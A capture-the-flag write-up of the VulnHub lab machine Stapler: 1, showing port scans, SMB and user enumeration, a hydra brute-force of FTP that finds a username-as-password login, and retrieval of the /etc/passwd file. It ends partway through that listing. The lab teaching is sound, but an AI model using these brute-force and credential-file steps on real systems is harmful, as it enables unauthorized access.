This is another write-up for a VulnHub machine, Stapler: 1. It’s a vulnerable machine created by g0tmi1k, a pretty famous person amongst folks who have completed their OSCP journey (read about my OSCP journey).

After downloading the machine, read the content of Stapler_readme.txt. It says that there are at least 2 different paths to getting a limited shell and at least 3 different ways to getting a root shell.

Well, this sounds pretty exciting. Let’s get started!

Host discovery

Use netdiscover to identify any host in my network:

$ ifconfig eth0 | grep -i 192.168.117

inet 192.168.117.134 netmask 255.255.255.0 broadcast 192.168.117.255

$ netdiscover -r 192.168.117.0/24

<REDACTED>
192.168.117.136 00:0c:29:3b:8b:40 1 60 Unknown vendor
<REDACTED>

Service discovery

nmap -sS -Pn -T4 -p- 192.168.117.136

PORT      STATE  SERVICE

21/tcp    open   ftp

22/tcp    open   ssh

53/tcp    open   domain

80/tcp    open   http

139/tcp   open   netbios-ssn

666/tcp   open   doom

3306/tcp  open   mysql

12380/tcp open   unknown

That is quite a number of services!

Now, to get their exact version number, we run the following:

nmap -Pn -T4 -O -A -p21,22,53,80,139,666,3306,12380 192.168.117.136

<REDACTED>

PORT      STATE SERVICE     VERSION

21/tcp    open  ftp         vsftpd 2.0.8 or later

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_Can’t get directory listing: Can’t parse PASV response: “Permission denied.”

22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)

|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)

|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (EdDSA)

53/tcp    open  domain      dnsmasq 2.75

| dns-nsid:

|_  bind.version: dnsmasq-2.75

80/tcp    open  http        PHP cli server 5.5 or later

|_http-title: 404 Not Found

139/tcp   open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)

666/tcp   open  doom?

| fingerprint-strings:

|   NULL:

|     message2.jpgUT

|     QWux

|     “DL[E

|     #;3[

|     \xf6

|     u([r

|     qYQq

|     Y_?n2

|     3&M~{

|     9-a)T

|     L}AJ

|_    .npy.9

3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1

| mysql-info:

|   Protocol: 10

|   Version: 5.7.12-0ubuntu1

|   Thread ID: 7

|   Capabilities flags: 63487

|   Some Capabilities: Support41Auth, SupportsTransactions, FoundRows, Speaks41ProtocolOld, LongColumnFlag, Speaks41ProtocolNew, SupportsCompression, DontAllowDatabaseTableColumn, ConnectWithDatabase, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, LongPassword, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults

|   Status: Autocommit

|   Salt: (oXs@{!TtsP]+[KN\x17\x0F~q

|_  Auth Plugin Name: 88

12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Tim, we need to-do better next year for Initech

<REDACTED>

Device type: general purposeRunning: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.10 – 4.8, Linux 3.16 – 4.6, Linux 3.2 – 4.8

Network Distance: 1 hop

Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_clock-skew: mean: 7h59m23s, deviation: 0s, median: 7h59m23s

|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

| smb-os-discovery:

|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)

|   Computer name: red

|   NetBIOS computer name: RED\x00

|   Domain name: \x00

|   FQDN: red

|_  System time: 2017-12-17T15:33:08+00:00

| smb-security-mode:

|   account_used: guest

|   authentication_level: user

|   challenge_response: supported

|_  message_signing: disabled (dangerous, but default)

|_smbv2-enabled: Server supports SMBv2 protocol

<REDACTED>

Just looking at the output, I can already see several ways to gain a foothold into the target server.

Please note that this write-up may not cover ALL the possible ways to gaining root on this box. However, I strongly encourage you to try to find all possible ways for the sake of learning.

Enumeration on port 80

Let’s look at port 80:

80/tcp open http PHP cli server 5.5 or later

Seems like nothing is there. Run directory buster and see if there are any low hanging fruits.

dirb http://192.168.117.136

<REDACTED>

—- Scanning URL: http://192.168.117.136/ —-

+ http://192.168.117.136/.bashrc (CODE:200|SIZE:3771)

+ http://192.168.117.136/.profile (CODE:200|SIZE:675)

<REDACTED>

Download both files to see their content:

wget http://192.168.117.136/.profile

wget http://192.168.117.136/.bashrc

After reviewing their content, I can conclude that there isn’t anything interesting there.

Enumeration on port 666

666/tcp open doom?

Now, let’s connect to port 666 to see what it is:

Wow. Just. Wow. What was this? Although there was a message2.jpg being mentioned at the start of its content, it was confirmed that this is not an image. Let’s not dwell too long on this.

Enumeration on port 139

139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)

When I see SMB service running on a Linux box, I will run enum4linux to check things out:

enum4linux -a 192.168.117.136

<REDACTED>

========================================

|    Session Check on 192.168.117.136    |

========================================

[+] Server 192.168.117.136 allows sessions using username ”, password ”

=========================================

|    OS information on 192.168.117.136    |

=========================================

[+] Got OS info for 192.168.117.136 from srvinfo:

    RED            Wk Sv PrQ Unx NT SNT red server (Samba, Ubuntu)

    platform_id     :    500

    os version      :    6.1

    server type     :    0x809a03

============================================

|    Share Enumeration on 192.168.117.136    |

============================================

WARNING: The “syslog” option is deprecated

    Sharename       Type      Comment

    ———       —-      ——-

    print$          Disk      Printer Drivers

    kathy           Disk      Fred, What are we doing here?

    tmp             Disk      All temporary files should be stored here

    IPC$            IPC       IPC Service (red server (Samba, Ubuntu))

    Server               Comment

    ———            ——-

    Workgroup            Master

    ———            ——-

    WORKGROUP            RED

[+] Attempting to map shares on 192.168.117.136

//192.168.117.136/print$    Mapping: DENIED, Listing: N/A

//192.168.117.136/kathy    Mapping: OK, Listing: OK

//192.168.117.136/tmp    Mapping: OK, Listing: OK

//192.168.117.136/IPC$    Mapping: OK    Listing: DENIED

==========================================================================

|    Users on 192.168.117.136 via RID cycling (RIDS: 500-550,1000-1050)    |

==========================================================================

[I] Found new SID: S-1-22-1

[I] Found new SID: S-1-5-21-864226560-67800430-3082388513

[I] Found new SID: S-1-5-32

[+] Enumerating users using SID S-1-5-32 and logon username ”, password ”

<REDACTED>

S-1-5-32-544 BUILTIN\Administrators (Local Group)

S-1-5-32-545 BUILTIN\Users (Local Group)

S-1-5-32-546 BUILTIN\Guests (Local Group)

S-1-5-32-547 BUILTIN\Power Users (Local Group)

S-1-5-32-548 BUILTIN\Account Operators (Local Group)

S-1-5-32-549 BUILTIN\Server Operators (Local Group)

S-1-5-32-550 BUILTIN\Print Operators (Local Group)

<REDACTED>

[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon username ”, password ”

<REDACTED>

S-1-5-21-864226560-67800430-3082388513-501 RED\nobody (Local User)

<REDACTED>

S-1-5-21-864226560-67800430-3082388513-513 RED\None (Domain Group)

<REDACTED>

[+] Enumerating users using SID S-1-22-1 and logon username ”, password ”

S-1-22-1-1000 Unix User\peter (Local User)

S-1-22-1-1001 Unix User\RNunemaker (Local User)

S-1-22-1-1002 Unix User\ETollefson (Local User)

S-1-22-1-1003 Unix User\DSwanger (Local User)

S-1-22-1-1004 Unix User\AParnell (Local User)

S-1-22-1-1005 Unix User\SHayslett (Local User)

S-1-22-1-1006 Unix User\MBassin (Local User)

S-1-22-1-1007 Unix User\JBare (Local User)

S-1-22-1-1008 Unix User\LSolum (Local User)

S-1-22-1-1009 Unix User\IChadwick (Local User)

S-1-22-1-1010 Unix User\MFrei (Local User)

S-1-22-1-1011 Unix User\SStroud (Local User)

S-1-22-1-1012 Unix User\CCeaser (Local User)

S-1-22-1-1013 Unix User\JKanode (Local User)

S-1-22-1-1014 Unix User\CJoo (Local User)

S-1-22-1-1015 Unix User\Eeth (Local User)

S-1-22-1-1016 Unix User\LSolum2 (Local User)

S-1-22-1-1017 Unix User\JLipps (Local User)

S-1-22-1-1018 Unix User\jamie (Local User)

S-1-22-1-1019 Unix User\Sam (Local User)

S-1-22-1-1020 Unix User\Drew (Local User)

S-1-22-1-1021 Unix User\jess (Local User)

S-1-22-1-1022 Unix User\SHAY (Local User)

S-1-22-1-1023 Unix User\Taylor (Local User)

S-1-22-1-1024 Unix User\mel (Local User)

S-1-22-1-1025 Unix User\kai (Local User)

S-1-22-1-1026 Unix User\zoe (Local User)

S-1-22-1-1027 Unix User\NATHAN (Local User)

S-1-22-1-1028 Unix User\www (Local User)

S-1-22-1-1029 Unix User\elly (Local User)

<REDACTED>

Well, that is a lot of information!

First, let’s store the list of possible usernames identified using SID S-1-22-1 and login username ”, password ” — the last part of the above output. There may be a situation when you need to use them to brute force attack some service, such as ssh.

$ cat userlist.txt

S-1-22-1-1000 Unix User\peter (Local User)

S-1-22-1-1001 Unix User\RNunemaker (Local User)

S-1-22-1-1002 Unix User\ETollefson (Local User)

S-1-22-1-1003 Unix User\DSwanger (Local User)

S-1-22-1-1004 Unix User\AParnell (Local User)

S-1-22-1-1005 Unix User\SHayslett (Local User)

S-1-22-1-1006 Unix User\MBassin (Local User)

S-1-22-1-1007 Unix User\JBare (Local User)

S-1-22-1-1008 Unix User\LSolum (Local User)

S-1-22-1-1009 Unix User\IChadwick (Local User)

S-1-22-1-1010 Unix User\MFrei (Local User)

S-1-22-1-1011 Unix User\SStroud (Local User)

S-1-22-1-1012 Unix User\CCeaser (Local User)

S-1-22-1-1013 Unix User\JKanode (Local User)

S-1-22-1-1014 Unix User\CJoo (Local User)

S-1-22-1-1015 Unix User\Eeth (Local User)

S-1-22-1-1016 Unix User\LSolum2 (Local User)

S-1-22-1-1017 Unix User\JLipps (Local User)

S-1-22-1-1018 Unix User\jamie (Local User)

S-1-22-1-1019 Unix User\Sam (Local User)

S-1-22-1-1020 Unix User\Drew (Local User)

S-1-22-1-1021 Unix User\jess (Local User)

S-1-22-1-1022 Unix User\SHAY (Local User)

S-1-22-1-1023 Unix User\Taylor (Local User)

S-1-22-1-1024 Unix User\mel (Local User)

S-1-22-1-1025 Unix User\kai (Local User)

S-1-22-1-1026 Unix User\zoe (Local User)

S-1-22-1-1027 Unix User\NATHAN (Local User)

S-1-22-1-1028 Unix User\www (Local User)

S-1-22-1-1029 Unix User\elly (Local User)

Let’s do some basic amendment to turn this into a proper list of only usernames.

cat userlist.txt | cut -d”\\” -f2 | cut -d” ” -f1 > users.txt

Now you have a nice list 🙂

cat users.txt

peter

RNunemaker

ETollefson

DSwanger

AParnell

SHayslett

MBassin

JBare

LSolum

IChadwick

MFrei

SStroud

CCeaser

JKanode

CJoo

Eeth

LSolum2

JLipps

jamie

Sam

Drew

jess

SHAY

Taylor

mel

kai

zoe

NATHAN

www

elly

Back to the enum4linux output, this line is particularly interesting 🙂

kathy Disk Fred, What are we doing here?

Let’s connect directly to the drives to check out the content using smbclient:

smbclient -L 192.168.117.136 -N

    Sharename       Type      Comment

    ———       —-      ——-

    print$          Disk      Printer Drivers

    kathy           Disk      Fred, What are we doing here?

    tmp             Disk      All temporary files should be stored here

    IPC$            IPC       IPC Service (red server (Samba, Ubuntu))

    Server               Comment

    ———            ——-

    Workgroup            Master

    ———            ——-

    WORKGROUP            RED

And now further proceed to read the content in kathy:

smbclient //192.168.117.136/kathy -N

smb: \> ls  .                                   D        0  Sat Jun  4 00:52:52 2016

  ..                                  D        0  Tue Jun  7 05:39:56 2016

  kathy_stuff                         D        0  Sun Jun  5 23:02:27 2016

  backup                              D        0  Sun Jun  5 23:04:14 2016

smb: \kathy_stuff\> print todo-list.txt

NT_STATUS_ACCESS_DENIED opening remote file todo-list.txt

The same goes for the backup directory. I don’t have any access to view its content, even though I know that once I gain access to it, I can probably view the password of the FTP server through the vsftpd configuration file 🙂

smb: \backup\> ls

  .                                   D        0  Sun Jun  5 23:04:14 2016

  ..                                  D        0  Sat Jun  4 00:52:52 2016

  vsftpd.conf                         N     5961  Sun Jun  5 23:03:45 2016

  wordpress-4.tar.gz                  N  6321767  Tue Apr 28 01:14:46 2015

        19478204 blocks of size 1024. 16396604 blocks available

smb: \backup\> print vsftpd.conf

NT_STATUS_ACCESS_DENIED opening remote file vsftpd.conf

smb: \backup\> print wordpress-4.tar.gz

NT_STATUS_ACCESS_DENIED opening remote file wordpress-4.tar.gz

I wonder where is the WordPress being deployed at though. Interesting. For now, let’s move on to the next service.

If you noticed, I am moving on quickly from each discovered services during my enumeration phase.

When performing security assessment or “hacking”, it is very important to understand your target. it’s also called enumeration. If you try hard enough in your enumeration, you will find something. This is exactly what I am doing now.

One tip though, try your best to not get stuck on something for too long, keep moving, be agile.

Enumeration on port 21

Let’s look at other services, such as FTP server:

21/tcp    open  ftp         vsftpd 2.0.8 or later

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_Can’t get directory listing: Can’t parse PASV response: “Permission denied.”

Connecting to the service using telnet. I know I can log in because nmaphas been a great help by helping to check if anonymous FTP login is allowed 🙂

$ ftp 192.168.117.136 21

Connected to 192.168.117.136.

220-

220-|—————————————————————————————–|

220-| Harry, make sure to update the banner when you get a chance to show who has access here |

220-|—————————————————————————————–|

220-

220

Name (192.168.117.136:root): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

-rw-r–r–    1 0        0             107 Jun 03  2016 note

226 Directory send OK.

Smooth. Let’s download see what is stored in the note.

ftp> get note

local: note remote: note

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for note (107 bytes).

226 Transfer complete.

107 bytes received in 0.00 secs (49.0343 kB/s)

ftp> exit

221 Goodbye.

I will laugh if they store a username and password directly in this file.

$ cat note

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John

Seems like Elly has some “payload information” stored in her FTP account.

Since we really want to gain access to Elly’s FTP account, let’s try to brute force using the list we got earlier.

hydra -L users.txt -P users.txt 192.168.117.136 ftp

<REDACTED>

[21][ftp] host: 192.168.117.136   login: SHayslett   password: SHayslett

<REDACTED

OMG seriously? There really is a credential that works this way.

username:SHayslett
password:SHayslett

Let’s connect using FTP:

root@kali:/tmp/stapler1# ftp 192.168.117.136

Connected to 192.168.117.136.

220-

220-|—————————————————————————————–|

220-| Harry, make sure to update the banner when you get a chance to show who has access here |

220-|—————————————————————————————–|

220-

220

Name (192.168.117.136:root): SHayslett

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> ls

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

drwxr-xr-x    5 0        0            4096 Jun 03  2016 X11

drwxr-xr-x    3 0        0            4096 Jun 03  2016 acpi

-rw-r–r–    1 0        0            3028 Apr 20  2016 adduser.conf

-rw-r–r–    1 0        0              51 Jun 03  2016 aliases

-rw-r–r–    1 0        0           12288 Jun 03  2016 aliases.db

drwxr-xr-x    2 0        0            4096 Jun 07  2016 alternatives

drwxr-xr-x    8 0        0            4096 Jun 03  2016 apache2

drwxr-xr-x    3 0        0            4096 Jun 03  2016 apparmor

drwxr-xr-x    9 0        0            4096 Jun 06  2016 apparmor.d

drwxr-xr-x    3 0        0            4096 Jun 03  2016 apport

drwxr-xr-x    6 0        0            4096 Jun 03  2016 apt

-rw-r—–    1 0        1             144 Jan 14  2016 at.deny

drwxr-xr-x    5 0        0            4096 Jun 03  2016 authbind

-rw-r–r–    1 0        0            2188 Aug 31  2015 bash.bashrc

drwxr-xr-x    2 0        0            4096 Jun 03  2016 bash_completion.d

-rw-r–r–    1 0        0             367 Jan 27  2016 bindresvport.blacklist

drwxr-xr-x    2 0        0            4096 Apr 12  2016 binfmt.d

drwxr-xr-x    2 0        0            4096 Jun 03  2016 byobu

drwxr-xr-x    3 0        0            4096 Jun 03  2016 ca-certificates

-rw-r–r–    1 0        0            7788 Jun 03  2016 ca-certificates.conf

drwxr-xr-x    2 0        0            4096 Jun 03  2016 console-setup

drwxr-xr-x    2 0        0            4096 Jun 03  2016 cron.d

drwxr-xr-x    2 0        0            4096 Jun 03  2016 cron.daily

drwxr-xr-x    2 0        0            4096 Jun 03  2016 cron.hourly

drwxr-xr-x    2 0        0            4096 Jun 03  2016 cron.monthly

drwxr-xr-x    2 0        0            4096 Jun 03  2016 cron.weekly

-rw-r–r–    1 0        0             722 Apr 05  2016 crontab

-rw-r–r–    1 0        0              54 Jun 03  2016 crypttab

drwxr-xr-x    2 0        0            4096 Jun 03  2016 dbconfig-common

drwxr-xr-x    4 0        0            4096 Jun 03  2016 dbus-1

-rw-r–r–    1 0        0            2969 Nov 10  2015 debconf.conf

-rw-r–r–    1 0        0              12 Apr 30  2015 debian_version

drwxr-xr-x    3 0        0            4096 Jun 05  2016 default

-rw-r–r–    1 0        0             604 Jul 02  2015 deluser.conf

drwxr-xr-x    2 0        0            4096 Jun 03  2016 depmod.d

drwxr-xr-x    4 0        0            4096 Jun 03  2016 dhcp

-rw-r–r–    1 0        0           26716 Jul 30  2015 dnsmasq.conf

drwxr-xr-x    2 0        0            4096 Jun 03  2016 dnsmasq.d

drwxr-xr-x    4 0        0            4096 Jun 07  2016 dpkg

-rw-r–r–    1 0        0              96 Apr 20  2016 environment

drwxr-xr-x    4 0        0            4096 Jun 03  2016 fonts

-rw-r–r–    1 0        0             594 Jun 03  2016 fstab

-rw-r–r–    1 0        0             132 Feb 10  2016 ftpusers

-rw-r–r–    1 0        0             280 Jun 20  2014 fuse.conf

-rw-r–r–    1 0        0            2584 Feb 18  2016 gai.conf

-rw-rw-r–    1 0        0            1253 Jun 04  2016 group

-rw——-    1 0        0            1240 Jun 03  2016 group-

drwxr-xr-x    2 0        0            4096 Jun 03  2016 grub.d

-rw-r—–    1 0        42           1004 Jun 04  2016 gshadow

-rw——-    1 0        0             995 Jun 03  2016 gshadow-

drwxr-xr-x    3 0        0            4096 Jun 03  2016 gss

-rw-r–r–    1 0        0              92 Oct 22  2015 host.conf

-rw-r–r–    1 0        0              12 Jun 03  2016 hostname

-rw-r–r–    1 0        0             469 Jun 05  2016 hosts

-rw-r–r–    1 0        0             411 Jun 03  2016 hosts.allow

-rw-r–r–    1 0        0             711 Jun 03  2016 hosts.deny

-rw-r–r–    1 0        0            1257 Jun 03  2016 inetd.conf

drwxr-xr-x    2 0        0            4096 Feb 06  2016 inetd.d

drwxr-xr-x    2 0        0            4096 Jun 06  2016 init

drwxr-xr-x    2 0        0            4096 Jun 06  2016 init.d

drwxr-xr-x    5 0        0            4096 Jun 03  2016 initramfs-tools

-rw-r–r–    1 0        0            1748 Feb 04  2016 inputrc

drwxr-xr-x    3 0        0            4096 Jun 03  2016 insserv

-rw-r–r–    1 0        0             771 Mar 06  2015 insserv.conf

drwxr-xr-x    2 0        0            4096 Jun 03  2016 insserv.conf.d

drwxr-xr-x    2 0        0            4096 Jun 03  2016 iproute2

drwxr-xr-x    2 0        0            4096 Jun 03  2016 iptables

drwxr-xr-x    2 0        0            4096 Jun 03  2016 iscsi

-rw-r–r–    1 0        0             345 Dec 17 15:27 issue

-rw-r–r–    1 0        0             197 Jun 03  2016 issue.net

drwxr-xr-x    2 0        0            4096 Jun 03  2016 kbd

drwxr-xr-x    5 0        0            4096 Jun 03  2016 kernel

-rw-r–r–    1 0        0             144 Jun 03  2016 kernel-img.conf

-rw-r–r–    1 0        0           26754 Jun 07  2016 ld.so.cache

-rw-r–r–    1 0        0              34 Jan 27  2016 ld.so.conf

drwxr-xr-x    2 0        0            4096 Jun 07  2016 ld.so.conf.d

drwxr-xr-x    2 0        0            4096 Jun 03  2016 ldap

-rw-r–r–    1 0        0             267 Oct 22  2015 legal

-rw-r–r–    1 0        0             191 Jan 18  2016 libaudit.conf

drwxr-xr-x    2 0        0            4096 Jun 03  2016 libnl-3

drwxr-xr-x    4 0        0            4096 Jun 06  2016 lighttpd

-rw-r–r–    1 0        0            2995 Apr 14  2016 locale.alias

-rw-r–r–    1 0        0            9149 Jun 03  2016 locale.gen

-rw-r–r–    1 0        0            3687 Jun 03  2016 localtime

drwxr-xr-x    6 0        0            4096 Jun 03  2016 logcheck

-rw-r–r–    1 0        0           10551 Mar 29  2016 login.defs

-rw-r–r–    1 0        0             703 May 06  2015 logrotate.conf

drwxr-xr-x    2 0        0            4096 Jun 03  2016 logrotate.d

-rw-r–r–    1 0        0             103 Apr 12  2016 lsb-release

drwxr-xr-x    2 0        0            4096 Jun 03  2016 lvm

-r–r–r–    1 0        0              33 Jun 03  2016 machine-id

-rw-r–r–    1 0        0             111 Nov 20  2015 magic

-rw-r–r–    1 0        0             111 Nov 20  2015 magic.mime

-rw-r–r–    1 0        0            2579 Jun 03  2016 mailcap

-rw-r–r–    1 0        0             449 Oct 30  2015 mailcap.order

drwxr-xr-x    2 0        0            4096 Jun 03  2016 mdadm

-rw-r–r–    1 0        0           24241 Oct 30  2015 mime.types

-rw-r–r–    1 0        0             967 Oct 30  2015 mke2fs.conf

drwxr-xr-x    2 0        0            4096 Jun 03  2016 modprobe.d

-rw-r–r–    1 0        0             195 Apr 20  2016 modules

drwxr-xr-x    2 0        0            4096 Jun 03  2016 modules-load.d

lrwxrwxrwx    1 0        0              19 Jun 03  2016 mtab -> ../proc/self/mounts

drwxr-xr-x    4 0        0            4096 Jun 06  2016 mysql

drwxr-xr-x    7 0        0            4096 Jun 03  2016 network

-rw-r–r–    1 0        0              91 Oct 22  2015 networks

drwxr-xr-x    2 0        0            4096 Jun 03  2016 newt

-rw-r–r–    1 0        0             497 May 04  2014 nsswitch.conf

drwxr-xr-x    2 0        0            4096 Apr 20  2016 opt

lrwxrwxrwx    1 0        0              21 Jun 03  2016 os-release -> ../usr/lib/os-release

-rw-r–r–    1 0        0            6595 Jun 23  2015 overlayroot.conf

-rw-r–r–    1 0        0             552 Mar 16  2016 pam.conf

drwxr-xr-x    2 0        0            4096 Jun 03  2016 pam.d

-rw-r–r–    1 0        0            2908 Jun 04  2016 passwd

-rw——-    1 0        0            2869 Jun 03  2016 passwd-

drwxr-xr-x    4 0        0            4096 Jun 03  2016 perl

drwxr-xr-x    3 0        0            4096 Jun 03  2016 php

drwxr-xr-x    3 0        0            4096 Jun 06  2016 phpmyadmin

drwxr-xr-x    3 0        0            4096 Jun 03  2016 pm

drwxr-xr-x    5 0        0            4096 Jun 03  2016 polkit-1

drwxr-xr-x    3 0        0            4096 Jun 03  2016 postfix

drwxr-xr-x    4 0        0            4096 Jun 03  2016 ppp

-rw-r–r–    1 0        0             575 Oct 22  2015 profile

drwxr-xr-x    2 0        0            4096 Jun 03  2016 profile.d

-rw-r–r–    1 0        0            2932 Oct 25  2014 protocols

drwxr-xr-x    2 0        0            4096 Jun 03  2016 python

drwxr-xr-x    2 0        0            4096 Jun 03  2016 python2.7

drwxr-xr-x    2 0        0            4096 Jun 03  2016 python3

drwxr-xr-x    2 0        0            4096 Jun 03  2016 python3.5

-rwxr-xr-x    1 0        0             472 Jun 06  2016 rc.local

drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc0.d

drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc1.d

drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc2.d

drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc3.d

drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc4.d

drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc5.d

drwxr-xr-x    2 0        0            4096 Jun 06  2016 rc6.d

drwxr-xr-x    2 0        0            4096 Jun 06  2016 rcS.d

-rw-r–r–    1 0        0              63 Dec 17 17:34 resolv.conf

drwxr-xr-x    5 0        0            4096 Jun 06  2016 resolvconf

-rwxr-xr-x    1 0        0             268 Nov 10  2015 rmt

-rw-r–r–    1 0        0             887 Oct 25  2014 rpc

-rw-r–r–    1 0        0            1371 Jan 27  2016 rsyslog.conf

drwxr-xr-x    2 0        0            4096 Jun 03  2016 rsyslog.d

drwxr-xr-x    3 0        0            4096 Dec 17 15:27 samba

-rw-r–r–    1 0        0            3663 Jun 09  2015 screenrc

-rw-r–r–    1 0        0            4038 Mar 29  2016 securetty

drwxr-xr-x    4 0        0            4096 Jun 03  2016 security

drwxr-xr-x    2 0        0            4096 Jun 03  2016 selinux

-rw-r–r–    1 0        0           19605 Oct 25  2014 services

drwxr-xr-x    2 0        0            4096 Jun 03  2016 sgml

-rw-r—–    1 0        42           4518 Jun 05  2016 shadow

-rw——-    1 0        0            1873 Jun 03  2016 shadow-

-rw-r–r–    1 0        0             125 Jun 03  2016 shells

drwxr-xr-x    2 0        0            4096 Jun 03  2016 skel

-rw-r–r–    1 0        0             100 Nov 25  2015 sos.conf

drwxr-xr-x    2 0        0            4096 Jun 04  2016 ssh

drwxr-xr-x    4 0        0            4096 Jun 03  2016 ssl

-rw-r–r–    1 0        0             644 Jun 04  2016 subgid

-rw——-    1 0        0             625 Jun 03  2016 subgid-

-rw-r–r–    1 0        0             644 Jun 04  2016 subuid

-rw——-    1 0        0             625 Jun 03  2016 subuid-

-r–r—–    1 0        0             769 Jun 05  2016 sudoers

drwxr-xr-x    2 0        0            4096 Jun 03  2016 sudoers.d

-rw-r–r–    1 0        0            2227 Jun 03  2016 sysctl.conf

drwxr-xr-x    2 0        0            4096 Jun 03  2016 sysctl.d

drwxr-xr-x    5 0        0            4096 Jun 03  2016 systemd

drwxr-xr-x    2 0        0            4096 Jun 03  2016 terminfo

-rw-r–r–    1 0        0              14 Jun 03  2016 timezone

drwxr-xr-x    2 0        0            4096 Apr 12  2016 tmpfiles.d

-rw-r–r–    1 0        0            1260 Mar 16  2016 ucf.conf

drwxr-xr-x    4 0        0            4096 Jun 03  2016 udev

drwxr-xr-x    3 0        0            4096 Jun 03  2016 ufw

drwxr-xr-x    2 0        0            4096 Jun 03  2016 update-motd.d

drwxr-xr-x    2 0        0            4096 Jun 03  2016 update-notifier

drwxr-xr-x    2 0        0            4096 Jun 03  2016 vim

drwxr-xr-x    3 0        0            4096 Jun 03  2016 vmware-tools

-rw-r–r–    1 0        0             278 Jun 03  2016 vsftpd.banner

-rw-r–r–    1 0        0               0 Jun 03  2016 vsftpd.chroot_list

-rw-r–r–    1 0        0            5961 Jun 04  2016 vsftpd.conf

-rw-r–r–    1 0        0               0 Jun 03  2016 vsftpd.user_list

lrwxrwxrwx    1 0        0              23 Jun 03  2016 vtrgb -> /etc/alternatives/vtrgb

-rw-r–r–    1 0        0            4942 Jan 08  2016 wgetrc

drwxr-xr-x    3 0        0            4096 Jun 03  2016 xdg

drwxr-xr-x    2 0        0            4096 Jun 03  2016 xml

drwxr-xr-x    2 0        0            4096 Jun 03  2016 zsh

226 Directory send OK.

This is really bad. All the files you see above could be downloaded now. For example, the passwd file.

$ ftp > get passwd

And then if you view the file, you get the following content:

root@kali:/tmp/stapler1# cat passwd

root:x:0:0:root:/root:/bin/zsh

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

syslog:x:104:108::/home/syslog:/bin/false

_apt:x:105:65534::/nonexistent:/bin/false

lxd:x:106:65534::/var/lib/lxd/:/bin/false

dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/bin/false

messagebus:x:108:111::/var/run/dbus:/bin/false

sshd:x:109:65534::/var/run/sshd:/usr/sbin/nologin

peter:x:1000:1000:Peter,,,:/home/peter:/bin/zsh

mysql:x:111:117:MySQL Server,,,:/nonexistent:/bin/false

RNunemaker:x:1001:1001::/home/RNunemaker:/bin/bash

ETollefson:x:1002:1002::/home/ETollefson:/bin/bash

DSwanger:x:1003:1003::/home/DSwanger:/bin/bash

AParnell:x:1004:1004::/home/AParnell:/bin/bash

SHayslett:x:1005:1005::/home/SHayslett:/bin/bash

MBassin:x:1006:1006::/home/MBassin:/bin/bash

JBare:x:1007:1007::/home/JBare:/bin/bash

LSolum:x:1008:1008::/home/LSolum:/bin/bash

IChadwick:x:1009:1009::/home/IChadwick:/bin/false

MFrei:x:1010:1010::/home/MFrei:/bin/bash

SStroud:x:1011:1011::/home/SStroud:/bin/bash

CCeaser:x:1012:1012::/home/CCeaser:/bin/dash

JKanode:x:1013:1013::/home/JKanode:/bin/bash

CJoo:x:1014:1014::/home/CJoo:/bin/bash

